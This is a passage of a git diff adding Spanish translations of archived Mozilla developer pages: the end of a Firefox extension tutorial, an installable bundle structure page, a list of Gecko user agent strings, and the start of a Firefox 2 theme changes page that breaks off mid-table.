+<p>Esto le dice a Firefox que fusione <code>sample.xul</code> en <code>browser.xul</code> cuando se cargue <code>browser.xul</code>.</p>
+
+<h2 id="Prueba">Prueba</h2>
+
+<p>Primero, necesitamos comunicarle a Firefox sobre nuestra extensión. Durante la fase de desarrollo para versiones de Firefox 2.0 y posteriores, puedes señalar a Firefox hacia la carpeta donde estés desarrollando la extensión, y la cargará cada vez que reinicies Firefox.</p>
+
+<ol>
+ <li>Ubica tu <a class="external" href="http://kb.mozillazine.org/Profile_folder" title="http://kb.mozillazine.org/Profile_folder">carpeta de perfil</a> y dentro el perfil con el que quieres trabajar (ej., <code>Firefox/Profiles/&lt;profile_id&gt;.default/</code>).</li>
+ <li>Abra la carpeta <code>extensions/</code>, creandola de ser necesario.</li>
+ <li>Crea un nuevo archivo de texto y coloca dentro la dirección completa de tu carpeta de desarrollo (ej., <code>C:\extensions\my_extension\</code> or <code>~/extensions/my_extension/)</code>. Los usuarios de Windows deberían conservar la dirección de la barra, y <em>todos</em> deberían acordarse de <strong>incluir</strong> una barar de cierre y <strong>eliminar</strong> cualquier espacio.</li>
+ <li>Guarda el archivo con la id de tu extensión como su nombre (ej., <code><a class="linkification-ext link-mailto" href="mailto:sample@example.net" title="Linkification: mailto:sample@example.net">sample@example.net</a></code>). Sin extensión de archivo.</li>
+</ol>
+
+<p>Ahora deberías estar listo opara probar tu extensión!</p>
+
+<p>Ejecuta Firefox. Firefox detectará el texto de enlace hacia el directorio de tu extensión e instalará la Extensión. Cuando aparezca la ventana del navegador deberías ver el texto "Hello, World!" en la parte derecha del panel con la barra de estado.</p>
+
+<p>Ahora puedes volver y hacer cambios al archivo .xul, cierra y reinicia Firefox, y deberían aparecer.</p>
+
+<h2 id="Empaquetamiento">Empaquetamiento</h2>
+
+<p>Ahora que tu extensión funciona, puedes <a href="/en-US/docs/Extension_Packaging" title="/en-US/docs/Extension_Packaging">empaquetarla</a> para su despliegue e instalación.</p>
+
+<p>Comprime (zip) los <strong>contenidos (contents)</strong> de la carpeta de tu extensión (no la carpeta de extensión misma), y renombra el archivo zip para que tenga la extensión .xpi. En Windows XP, puedes hacer esto fácilmente seleccionando todos los archivos y subcarpetas en la carpeta de tu extensión, haciendo click derecho y seleccionando "Enviar a -&gt; Carpeta comprimida (zip)". Se creará un archivo .zip para ti. Sólo renombralo y ya terminaste!</p>
+
+<p>En Mac OS X, puedes hacer click derecho en los <strong>contenidos (contents)</strong> de la carpeta de la extensión y elegir "Crear archivo de..." para hacer un archivo zip. Sin embargo, ya que Mac OS X agrega archivos ocultos a las carpetas para rastrear los metadatos de los archivos, deberías usar la Terminal, eliminar los archivos ocultos (cuyos nombre comienzan con un punto), y luego usar el comando zip en la linea de comandos para crear el archivo zip.</p>
+
+<p>En Linux, podrías también usar la herramienta zip de linea de comandos.</p>
+
+<p>Si tienes el 'Extension Builder' (Constructor de Extensiones) instalado, puede compliar el archivo .xpi para ti (Tools -&gt; Extension Developer -&gt; Extension Builder). Simplemente navega al directorio donde está tu extensión (install.rdf, etc.), y presiona el botón Build Extension. Esta extensión tiene una gran cantidad de herramientas para facilitar el desarrollo.</p>
+
+<p>Ahora carga el archivo .xpi en tu servidor, asegúrate de que es servido como una <code>application/x-xpinstall</code>. Puedes obtener un enlace al mismo y permitir que las personas lo descarguen e instalen. Con el propósito de simplemente testearnuestro archivo .xpi, podemos sólo arrastrarlo en la ventana de extensiones, en Herramientas -&gt; Extensiones para Firefox 1.5.0.x, o  Herramientas -&gt; Complementos para versiones posteriores.</p>
+
+<h3 id="Instalando_desde_una_página_web">Instalando desde una página web</h3>
+
+<p>Existen muchas formas de instalar extensiones desde páginas web, incluyendo enlace directo hacia archivos XPI y usando el objeto InstallTrigger. Los autores web y de extensiones son alentados a usar el  <a href="/en-US/docs/Installing_Extensions_and_Themes_From_Web_Pages" title="/en-US/docs/Installing_Extensions_and_Themes_From_Web_Pages">método InstallTrigger</a> para instalar XPIs, ya que provee la mejor experiencia a los usuarios.</p>
+
+<h3 id="Usando_addons.mozilla.org">Usando addons.mozilla.org</h3>
+
+<p>Los Complementos para Firefox es un sitio de distribución donde puedes alojar tu extensión gratuitamente. tu extensión será alojada en un espejo (mirror) de la red de Mozilla para garantizar tu descarga a pesar de que pueda ser muy popular. El sitio de Mozilla también provee una sencilla instalación para los usuarios, y automáticamente hará que tus versiones más nuevas estén disponibles cuando las cargues. Además, los Complementos para Firefox permiten a los usuarios comentar y proveer una retroalimentación en tu extensión. Es altamente recomendado que uses los Complementos de Firefox para distribuir tus extensiones!</p>
+
+<p>Visita <a class="linkification-ext external" href="http://addons.mozilla.org/developers/" title="Linkification: http://addons.mozilla.org/developers/">http://addons.mozilla.org/developers/</a> para crearte una cuenta y comenzar a distribuir tus extensiones!</p>
+
+<p><em>Nota:</em> Tu Extensión será enviada más rápidamente y descargada más veces si tienes una buena descripción y algunas capturas de pantalla de la extensión en acción.</p>
+
+<h3 id="Instalando_Extensiones_Usando_una_Instalador_Separado">Instalando Extensiones Usando una Instalador Separado</h3>
+
+<p>Es posible instalar extensiones en un directorio especial y será instalado la próxima vez que la aplicación comience. La extensión estará disponible para cualquier perfil. Mira  <a class="internal" href="/en-US/docs/Installing_extensions" title="/en-US/docs/Installing extensions">lnstalando extensiones</a> para más información.</p>
+
+<p>En Windows, la información sobre extensiones puede ser agregada al registro, y las extensiones serán recogidas automáticamente la proxima vez que la aplicación comience. Esto permite a los instaladores de aplicaciones agregar fácilmente ganchos de integración como extensiones. Mira <a href="/en-US/docs/Adding_Extensions_using_the_Windows_Registry" title="/en-US/docs/Adding_Extensions_using_the_Windows_Registry">Agregando Extensiones usando el Registro de Windows</a> para más información.</p>
+
+<h2 id="Más_sobre_XUL_Overlays">Más sobre XUL Overlays</h2>
+
+<p>Además de agregar widgets de interfaz de usuario al punto de fusión, puedes usar los fragmentos XUL dentro de los Overlays para controlar la posición de los widgets insertados:</p>
+
+<pre class="eval  language-html"><code class="language-html">&lt;toolbarbutton position="1" ...  /&gt;
+
+&lt;toolbarbutton insertbefore="other-id" ...  /&gt;
+
+&lt;toolbarbutton insertafter="other-id" ...  /&gt;</code></pre>
+
+<h2 id="Creando_Nuevos_Componentes_de_Interfaz_de_Usuario">Creando Nuevos Componentes de Interfaz de Usuario</h2>
+
+<p>Puedes crear tus propias ventanas y cuadros de diálogo como archivos .xul separados, brindando funcionalidad a través de la implementación de acciones de usuarios en archivos .js, usando métodos DOM  para manipular widgets de interfaz de usuario. Puedes usar reglas de estilos en archivos .css para enlazar imágenes, establecer colores, etc.</p>
+
+<p>Mira la documentación <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a> con más recursos para los desarrolladores XUL.</p>
+
+<h2 id="Archivos_por_Defecto">Archivos por Defecto</h2>
+
+<p>Los archivos por defecto que usas para sembrar un perfil de usuario deberían ser ubicados en <code>defaults/</code> debajo de la raíz de la jerarquía de carpetas de tu extensión. Los archivos .js de preferencias por defecto deberían ser almacenados en <code>defaults/preferences/</code> - si los ubicas aquí serán cargados automáticamente por el sistema de preferencias de Firefox cuando arranque, y así podrás accederlos usando la <a href="/en-US/docs/Preferences_API" title="/en-US/docs/Preferences_API">API de Preferencias</a>.</p>
+
+<p>Un archivo de preferencia por defecto de ejemplo:</p>
+
+<pre class="eval">pref("extensions.sample.username", "Joe"); //a string pref
+pref("extensions.sample.sort", 2); //an int pref
+pref("extensions.sample.showAdvanced", true); //a boolean pref
+</pre>
+
+<h2 id="Componentes_XPCOM">Componentes XPCOM</h2>
+
+<p>Firefox soporta componentes <a href="/en-US/docs/XPCOM" title="/en-US/docs/XPCOM">XPCOM</a> en las extensiones. Puedes crear tus propios componentes fácilmente en JavaScript o en C++ (usando <a href="/en-US/docs/Gecko_SDK" title="/en-US/docs/Gecko_SDK">Gecko SDK</a>).</p>
+
+<p>Ubica todos tus archivos .js o .dll en <code>el directorio components/</code> - son registrados automáticamente la primera vez que se ejecute Firefox luego de que tu extensión es instalada.</p>
+
+<p>Para más información mira <a href="/en-US/docs/How_to_Build_an_XPCOM_Component_in_Javascript" title="/en-US/docs/How_to_Build_an_XPCOM_Component_in_Javascript">Cómo Construir un Componente XPCOM en Javascript</a>, <a href="/en-US/docs/How_to_build_a_binary_XPCOM_component_using_Visual_Studio" title="/en-US/docs/How_to_build_a_binary_XPCOM_component_using_Visual_Studio">Cómo construir un componente XPCOM binario usando Visual Studio,</a> y el libro <a href="/en-US/docs/Creating_XPCOM_Components" title="/en-US/docs/Creating_XPCOM_Components">Creando Componentes XPCOM</a>.</p>
+
+<h3 id="Línea_de_Comandos_de_la_Aplicación">Línea de Comandos de la Aplicación</h3>
+
+<p>Uno de los posibles usos de los componentes XPCOM personalizados, es agregar un manejador de líneas de ocmandos para Firefox o Thunderbird. Puedes usar esta técnica para ejecutar tu extensión como una aplicación:</p>
+
+<pre class="eval"> firefox.exe -myapp
+</pre>
+
+<p><span class="comment">I should move the useful parts of this to the Command Line page. -Nickolay This is done by adding a component containing the function... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } This function is run by firefox each time firefox is started. Firefox registers the myAppHandlerModule's by calling its 'registerSelf()'. Then it obtains the myAppHandlerModule's handler factory via 'getClassObject()'. The handler factory is then used to create the handle using its 'createInstance(). Finally, the handle's 'handle(cmdline)' processes the command line cmdline's handleFlagWithParam() and handleFlag().</span> Mira <a href="/en-US/docs/Chrome/Command_Line" title="/en-US/docs/Chrome/Command_Line">Chrome: Línea de Comandos</a> y un <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=365297">foro de discusión</a> para más detalles.</p>
+
+<h2 id="Localización">Localización</h2>
+
+<p>Para soportar más de un lenguaje, deberías separar los strings (cadenas de caracteres) de tu contenido usando <a href="/en-US/docs/XUL_Tutorial/Localization" title="/en-US/docs/XUL_Tutorial/Localization">entidades</a> y <a href="/en-US/docs/XUL_Tutorial/Property_Files" title="/en-US/docs/XUL_Tutorial/Property_Files">envoltorios de strings</a>. Es mucho más fácil hacer esto mientras estás desarrollando tu extensión, en lugar de volver y hacerlo después!</p>
+
+<p>La información de localización es almacenada en el directorio locale para tu extensión. Por ejemplo, para agregar un locale a tu extensión de ejemplo, crea dos directorios anidados "locale/en-US" en chrome (donde está ubicado el directorio "content") y agrega la siguiente línea al archivo chrome.manifest:</p>
+
+<pre class="eval">locale sample en-US chrome/locale/en-US/
+</pre>
+
+<p>Para crear valores de atributo localizables en XUL, puedes ubicar los valores en un archivo<code> .dtd</code> (sample.dtd para tu extensión de prueba). Este archivo debería ser ubicado en el directorio locale y se parece a esto:</p>
+
+<pre class="eval">&lt;!ENTITY  my-panel.label  "Hello, World"&gt;
+</pre>
+
+<p>Luego incluyélo el comienzo de tu documento XUL (pero debajo de"&lt;?xml version"1.0"?&gt;"), como se ve a continuación:</p>
+
+<pre class="eval  language-html"><code class="language-html"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="doctype token">&lt;!DOCTYPE window SYSTEM "chrome://packagename/locale/filename.dtd"&gt;</span>
+...</code></pre>
+
+<p>donde <code><strong>window</strong></code> es el valor <code><a href="/en-US/docs/DOM/Node.localName" title="/en-US/docs/DOM/element.localName">localName (nombre local)</a></code> del elemento raíz del documento XUL, y el valor de la propiedad <code>SYSTEM</code> es la URI chrome hacia el archivo de entidad.</p>
+
+<p>Para nuestra extensión de ejemplo, reemplaza <code><strong>window</strong></code> con <code><strong>overlay</strong></code> (elemento raíz), <code><strong>packagename</strong></code> con <code><strong>sample</strong></code>, y <code><strong>filename.dtd</strong></code> con <code><strong>sample.dtd</strong></code>.</p>
+
+<p>Para usar las entidades, modifica tu XUL para que se vea así:</p>
+
+<pre class="eval">&lt;statusbarpanel id="my-panel" label="&amp;my-panel.label;"  /&gt;
+</pre>
+
+<p>El Registro de Chrome se asegurará que el archivo de entidad es cargado desde el envoltorio de localización que se corresponda con la configuración regional seleccionada.</p>
+
+<p>Para los strings que usas en script, crea un archivo .propertie, un archivo de texto que tiene un string en cada lína en este formato:</p>
+
+<pre class="eval">clave=valor
+</pre>
+
+<p>y luego usa {{ interface("nsIStringBundleService") }}/{{ interface("nsIStringBundle") }} o el tag {{ XULElem("stringbundle") }} para cargar valores en el script.</p>
+
+<h2 id="Entendiendo_el_Navegador">Entendiendo el Navegador</h2>
+
+<p>Usa el <a href="/en-US/docs/DOM_Inspector" title="/en-US/docs/DOM_Inspector">Inspector DOM</a> para inspeccionar la ventana del navegador o cualquier otra ventana XUL que quieras extender.</p>
+
+<p><strong>Nota:</strong> <strong>El Inspector DOM </strong>no es parte de la instalación <strong>Estándar</strong> de Firefox. Desde Firefox 3 Beta 4, el Inspector DOM está disponible desde <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622">Los Complementos de Firefox</a> como una extensión por separado. Para versiones anteriores, debes reinstalar con la dirección de instalación Personalizada y seleccionar <strong>Inspector DOM</strong> (o <strong>Developer Tools</strong> en Firefox 1.5) si no hay un ítem "Inspector DOM" en el menú de herramientas de tu navegador.</p>
+
+<p>Usa el botón apunta-y-clickea sobre un nodo en el tope izquierdo de la barra de herramientas del Inspector DOM para clickear sobre un nodo en la ventana XUL, para seleccionar visualmente. Cuando haces esto, el inspector salta en el árbol de jerarquía DOM hacia el nodo que ha sido clickeado.</p>
+
+<p>Usa el panel lateral derecho del Inspector DOM para descubrir puntos de fusión con ids que puedas usar para insertar tus elementos desde overlays. Si no puedes encontrar un elemento con un id que puedas fusionar, podrías necesitar enlazar un script en tu overlay e insertar tus elementos cuando se dispare el evento <code>load</code> en la ventana XUL maestra.</p>
+
+<h2 id="Depurando_Extensiones">Depurando Extensiones</h2>
+
+<p><strong>Herramientas Analíticas para Depuración</strong></p>
+
+<ul>
+ <li>El <a href="/en-US/docs/DOM_Inspector" title="/en-US/docs/DOM_Inspector">inspector DOM</a> - inspecciona atributos, estructura DOM, reglas de estilo CSS que están activas (ej., averigua porqué tus reglas de estilo no parecen estar funcionando para un elemento - una herramienta invaluable!)</li>
+ <li><a href="/en-US/docs/Venkman" title="/en-US/docs/Venkman">Venkman</a> - configura puntos de quiebre (breakpoints) en JavaScript e inspecciona pilas de llamadas.</li>
+ <li><code>Components.stack.caller&gt;</code> en JavaScript - accede a la pila de llamada de una función</li>
+</ul>
+
+<p><strong>Depuración con printf </strong></p>
+
+<ul>
+ <li>Usa <code><a href="/en-US/docs/DOM/window.dump" title="/en-US/docs/DOM/window.dump">dump</a>("string")</code> (mira el enlace para más detalles; esto requiere alguna configuración para trabajar correctamente)</li>
+ <li>Usa <code><a href="/en-US/docs/Components.utils.reportError" title="/en-US/docs/Components.utils.reportError">Components.utils.reportError()</a></code> o {{ interface("nsIConsoleService") }} para hacer log en la consola de JavaScript</li>
+</ul>
+
+<p><strong>Depuración avanzada</strong></p>
+
+<ul>
+ <li>Ejectua un build de Firefox para depuración y configura puntos de quiebre en Firefox mismo, o tus componentes en C++. Para el desarollador experimentado, esta es frecuentemente la forma más rápida de diagnosticar un problema. Mira <a href="/en-US/docs/Developer_Guide/Build_Instructions" title="/en-US/docs/Build_Documentation">Build Documentation</a> y <a href="/en-US/docs/Developer_Guide" title="/en-US/docs/Developing_Mozilla">Developing Mozilla</a> para más información.</li>
+ <li>Mira <a href="/en-US/docs/Debugging_a_XULRunner_Application" title="/en-US/docs/Debugging_a_XULRunner_Application">Depurando una Aplicación XULRunner</a> para más consejos útiles.</li>
+</ul>
+
+<h2 id="Más_Información">Más Información</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Extension_Frequently_Asked_Questions" title="/en-US/docs/Extension_Frequently_Asked_Questions">FAQ (Preguntas Frecuentes) sobre Extensiones</a></li>
+ <li><a href="/en-US/docs/Extensions" title="/en-US/docs/Extensions">Extensiones</a></li>
+</ul>
diff --git a/files/es/bundles/index.html b/files/es/bundles/index.html
new file mode 100644
index 0000000000..ebb971fcf0
--- /dev/null
+++ b/files/es/bundles/index.html
@@ -0,0 +1,65 @@
+---
+title: Estructura de un paquete de instalación
+slug: Bundles
+tags:
+  - Herramientas_API
+translation_of: Archive/Mozilla/Bundles
+---
+<p> </p>
+<p>Las <a href="es/Paquete_de_aplicaci%c3%b3n_XUL">Aplicaciones XULRunner</a>, <a href="es/Extensiones">extensiones</a>, y <a href="es/Temas">temas</a> comparten todos una estructura de directorios común, y en algunos casos el mismo paquete puede ser usado como una aplicación XULRunner independiente además de como una extensión instalable en otra aplicación. La estructura básica de un paquete (bundles) puede incluir cualquiera de los siguientes ficheros:</p>
+<pre class="eval">/<a href="es/Install.rdf">install.rdf</a><i>Manifiesto de instalación de tema/extensión</i>
+/<a href="es/Paquete_de_aplicaci%c3%b3n_XUL">application.ini</a><i>Manifiesto de lanzamiento de la aplicación</i>
+/components/*<i>Componentes y ficheros XPT</i>       (&gt;=1.7)
+<a href="es/Creando_una_extensi%c3%b3n#Archivos_Por_Defecto">/defaults/preferences/*.js</a><i>Opciones por defecto</i>             (&gt;=1.7)
+/plugins/*<i>Plugins NPAPI</i>                    (&gt;=1.8)
+/<a href="es/Chrome.manifest">chrome.manifest</a><i>Manifiesto de registro de Chrome</i> (&gt;=1.8)
+/<a href="es/Iconos_de_la_ventana">chrome/icons/default/*</a><i>Iconos de la ventana</i>             (&gt;=1.8)
+</pre>
+<p>Por supuesto, una extensión no necesita (y normalmente no tendrá) todos estos directorios. Los temas están limitados por razones de seguridad y normalmente no pueden proporcionar un <a href="es/Chrome.manifest">chrome.manifest</a> que registre un tema y un fichero JAR.</p>
+<p> </p>
+<h3 id="Subdirectorios_espec.C3.ADficos_de_una_plataforma" name="Subdirectorios_espec.C3.ADficos_de_una_plataforma">Subdirectorios específicos de una plataforma</h3>
+<p>En algunos casos una única extensión o aplicación puede necesitar incluir componentes binarios o plugins para múltiples plataformas, o los autores de temas pueden querer incluir varios ficheros JAR específicos a una plataforma. Para facilitar las cosas en el primer caso, el cargador de la extensión/aplicación tendrá unos subdirectorios especiales previstos específicamente para los ficheros concretos de una plataforma (a partir del Toolkit/Gecko 1.8, Firefox/Thunderbird 1.5). La cadena de texto de la plataforma es definida por el proceso de compilación del toolkit con un único valor para la combinación del sistema operativo, arquitectura del procesador y el compilador. El formato de la cadena de texto de la plataforma es:</p>
+<pre class="eval"><i>{OS_TARGET}</i>_<i>{<a href="es/XPCOM_ABI">TARGET_XPCOM_ABI</a>}</i>
+</pre>
+<p>Todos los ficheros que son cargados desde el directorio principal de la extensión son cargados desde el subdirectorio</p>
+<pre class="eval">/platform/<i>{cadena de texto de la plataforma}</i>
+</pre>
+<p>si existe. Por ejemplo, si un vendedor de plugins que busque el dejarlo disponible para un usuario de ordenadores con Linux, Macintosh y Windows, este proporcionará los siguientes ficheros:</p>
+<pre class="eval">/platform/Linux_x86-gcc3/plugins/libMyPlugin.so
+/platform/WINNT_x86-msvc/plugins/MyPlugin.dll
+/platform/Darwin_ppc-gcc3/plugins/libMyPlugin.dylib
+</pre>
+<p>Dado que los ficheros XPT no dependen de la plataforma, cualquier fichero XPT asociado entraría en el directorio de componentes genérico:</p>
+<pre class="eval">/components/MyPlugin.xpt
+</pre>
+<p>Si una extensión tiene código específico a una plataforma no binaria (como el código que utiliza la base de registros de Windows desde un script), también puede utilizar el identificador del sistema operativo como subdirectorio de plataforma:</p>
+<pre class="eval">/platform/WINNT/components/registerDoctype.js
+</pre>
+<p>Cuando un fichero JAR específico a una plataforma es usado, cada directorio de plataforma debe tener su propio fichero <code>chrome.manifest</code>:</p>
+<pre class="eval">chrome.manifest
+chrome/mytheme-base.jar
+platform/Darwin/chrome.manifest
+platform/Darwin/chrome/mytheme-mac.jar
+platform/WINNT/chrome.manifest
+platform/WINNT/chrome/mytheme-win.jar
+</pre>
+<p>El proceso de arranque analiza en primer lugar el directorio base, después los directorios de plataforma aplicables (en primer lugar /{OS_TARGET}/, a continuación /{OS_TARGET}_{<a href="es/XPCOM_ABI">TARGET_XPCOM_ABI</a>}/). Cuando las preferencias por defecto se definen en varios directorios, los que se cargan al final tienen prioridad sobre los que se cargan antes.</p>
+<h3 id="Ficheros_de_extensi.C3.B3n_espec.C3.ADficos_a_una_aplicaci.C3.B3n" name="Ficheros_de_extensi.C3.B3n_espec.C3.ADficos_a_una_aplicaci.C3.B3n">Ficheros de extensión específicos a una aplicación</h3>
+<p>Además de los ficheros de extensión listados más arriba, las aplicaciones pueden leer ficheros suplementarios desde extensiones. Por ejemplo, <a href="es/Firefox_1.5">Firefox 1.5</a> y superiores pueden leer los plugins de búsqueda de Sherlock desde /searchplugins/*.src <a href="es/Firefox_2">Firefox 2</a> y superiores además pueden leer <a href="es/Creaci%c3%b3n_de_plugins_MozSearch">Plugins MozSearch y OpenSearch</a> desde</p>
+<pre class="eval">/searchplugins/*.xml
+</pre>
+<p>y los diccionarios Myspell desde</p>
+<pre class="eval">/dictionaries/*.{aff|dic}
+</pre>
+<h3 id="Referencias_oficiales_de_Herramienta_API" name="Referencias_oficiales_de_Herramienta_API">Referencias oficiales de <a href="es/Herramienta_API">Herramienta API</a></h3>
+<p></p><p>
+  </p><ul>
+    <li><a href="/en/Bundles" title="en/Bundles">Structure of an Installable Bundle</a>: describes the common structure of installable bundles, including extensions, themes, and XULRunner applications</li>
+    <li><a href="/en/Extension_Packaging" title="en/Extension_Packaging">Extension Packaging</a>: specific information about how to package extensions</li>
+    <li><a href="/en/Theme_Packaging" title="en/Theme_Packaging">Theme Packaging</a>: specific information about how to package themes</li>
+    <li><a href="/en/Multiple_Item_Packaging" title="en/Multiple_Item_Packaging">Multiple-item Extension Packaging</a>: specific information about multiple-item extension XPIs</li>
+    <li><a href="/en/XUL_Application_Packaging" title="en/XUL_Application_Packaging">XUL Application Packaging</a>: specific information about how to package XULRunner applications</li>
+    <li><a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Registration</a></li>
+    <li><a href="/en-US/docs/Mozilla/Tech/XUL/Printing">Printing in XUL Apps</a></li>
+  </ul>
+<p></p><p></p>
diff --git a/files/es/cadenas_del_user_agent_de_gecko/index.html b/files/es/cadenas_del_user_agent_de_gecko/index.html
new file mode 100644
index 0000000000..4dbd1908cf
--- /dev/null
+++ b/files/es/cadenas_del_user_agent_de_gecko/index.html
@@ -0,0 +1,55 @@
+---
+title: Cadenas del User Agent de Gecko
+slug: Cadenas_del_User_Agent_de_Gecko
+tags:
+  - Desarrollo_Web
+  - Todas_las_Categorías
+translation_of: Web/HTTP/Headers/User-Agent/Firefox
+---
+<h3 id="Uso_Apropiado" name="Uso_Apropiado">Uso Apropiado</h3>
+<p>No se recomienda el uso de las cadenas del User Agent como su principal opción para la detección del navegador. Vea <a href="es/Deteccion_Cross_browser_y_Soporte_Cross_Browser"> Deteccion Cross browser y Soporte Cross Browser</a> para una ojeada mas en profundo a varias técnicas sobre detección de navegadores con recomendaciones.</p>
+<p>En particular, recomendamos usar la detección de la cadena del User Agent para detección del navegador del lado del servidor. Si su actual código del lado cliente usa detección de la cadena del User Agent, simplemente puede hacer una búsqueda por la cadena "Gecko" en el User Agent para detectar cualquier navegador basado en Gecko.</p>
+<p>Para todos los detalles que lidian con detecciones con Gecko los cuales lidian con bugs especificos o los cuales requieran conocimiento de strings especificos o fechas de la compilación, use el objeto <a href="es/DOM_Client_Object_Cross-Reference/navigator">navigator</a>.</p>
+<h3 id="Lista_de_user_agents_liberados_por_Netscape_y_AOL_basados_en_Gecko" name="Lista_de_user_agents_liberados_por_Netscape_y_AOL_basados_en_Gecko">Lista de user agents liberados por Netscape y AOL basados en Gecko</h3>
+<p>Vea <a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">mozilla.org's user-agent strings reference</a> para Plataforma específico,
+ <i>
+  Seguridad</i>
+ ,
+ <i>
+  Sistema Operativo</i>
+ o
+ <i>
+  CPU</i>
+ y valores de
+ <i>
+  localización</i>
+ .</p>
+<ul>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.2) Gecko/20030208 Netscape/7.02&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.2) Gecko/20021120 Netscape/7.01&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.1) Gecko/20020823 Netscape/7.0&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20020730 AOL/7.0&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.2) Gecko/20020220 CS 2000 7.0/7.0&lt;/tt&gt;
+  <ul>
+   <li>&lt;tt&gt;Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4.2) Gecko/20020502 CS 2000 7.0/7.0&lt;/tt&gt;</li>
+  </ul>
+ </li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1&lt;/tt&gt;</li>
+ <li>&lt;tt&gt;Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.2) Gecko/20010726 Netscape6/6.1&lt;/tt&gt;</li>
+</ul>
+<p><br>
+ Para una información más detallada sobre liberaciones de Netscape y Mozilla, por favor vea el <a class="external" href="http://www.mozilla.org/releases/cvstags.html">mozilla.org cvstags reference</a>.</p>
+<p> </p>
+<div class="originaldocinfo">
+ <h3 id="Informacion_Del_documento_Original" name="Informacion_Del_documento_Original">Informacion Del documento Original</h3>
+ <ul>
+  <li>Autor: Bob Clary</li>
+  <li>Última Actualización: Junio 30, 2003</li>
+  <li>Copyright © 2001-2003 Netscape. Todos los derechos reservados.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/es/cambios_del_tema_en_firefox_2/index.html b/files/es/cambios_del_tema_en_firefox_2/index.html
new file mode 100644
index 0000000000..fdd74588bd
--- /dev/null
+++ b/files/es/cambios_del_tema_en_firefox_2/index.html
@@ -0,0 +1,883 @@
+---
+title: Cambios del tema en Firefox 2
+slug: Cambios_del_tema_en_Firefox_2
+tags:
+  - Complementos
+  - Temas
+  - Todas_las_Categorías
+translation_of: Archive/Themes/Theme_changes_in_Firefox_2
+---
+<p>Este artículo trata los cambios que deben hacerse para actualizar un tema de Firefox para que funcione correctamente en <a href="/es/Firefox_2_para_desarrolladores" title="es/Firefox_2_para_desarrolladores">Firefox 2</a>.
+
+</p><h2 id="Cambios_en_el_navegador_que_requieren_actualizaciones_en_el_tema" name="Cambios_en_el_navegador_que_requieren_actualizaciones_en_el_tema">Cambios en el navegador que requieren actualizaciones en el tema</h2>
+
+<p>Varios archivos del navegador han sido modificados o suprimidos, por lo que puede que tengas que hacer cambios en tu tema. Esta tabla lista los archivos XUL modificados y los correspondientes archivos CSS del tema que puede que tengas que actualizar.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Archivo XUL</td>
+   <td class="header">Archivo CSS</td>
+   <td class="header">Detalles</td>
+  </tr>
+  <tr>
+   <td><code>feeds/addFeedReader.xul</code></td>
+   <td><code>feeds/addFeedReader.css </code></td>
+   <td>Archivo nuevo que muestra una UI para añadir un nuevo agregador.</td>
+  </tr>
+  <tr>
+   <td><code>feeds/subscribe.xhtml</code></td>
+   <td><code>feeds/subscribe.css</code></td>
+   <td>Archivo nuevo que muestra la UI para suscribirse a un feed RSS.</td>
+  </tr>
+  <tr>
+   <td><code>preferences/downloads.xul</code></td>
+   <td>-</td>
+   <td>Eliminado en Firefox 2.</td>
+  </tr>
+  <tr>
+   <td><code>preferences/general.xul</code></td>
+   <td>-</td>
+   <td>Eliminado en Firefox 2.</td>
+  </tr>
+  <tr>
+   <td><code>safebrowsing/warning-overlay.xul</code></td>
+   <td><code>safebrowsing/browser-protection.css</code></td>
+   <td>Archivo nuevo que contiene una capa externa que se muestra en la parte superior del navegador cuando visitamos un sitio sospechoso de phishing.</td>
+  </tr>
+  <tr>
+   <td><code>search/engineManager.xul</code></td>
+   <td><code>engineManager.css</code></td>
+   <td>Archivo nuevo que contiene la UI de la ventana del administrador de motores de búsqueda.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cambios_en_el_tema_default_.28el_que_viene_por_defecto.29" name="Cambios_en_el_tema_default_.28el_que_viene_por_defecto.29">Cambios en el tema default (el que viene por defecto)</h2>
+
+<p>La siguiente tabla lista todos los cambios hechos en el tema por defecto para Firefox 2. Puedes usar esta información como ejemplo para entender los cambios que necesitas hacer.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Archivo</td>
+   <td class="header">Descripción de los cambios</td>
+  </tr>
+  <tr>
+   <td><code>browser/bookmarks/addBookmark.css</code></td>
+   <td>Actualizado para incluir cambios en el CSS relacionados con los micro-resúmenes.</td>
+  </tr>
+  <tr>
+   <td><code>browser/bookmarks/bookmarksProperties.css</code></td>
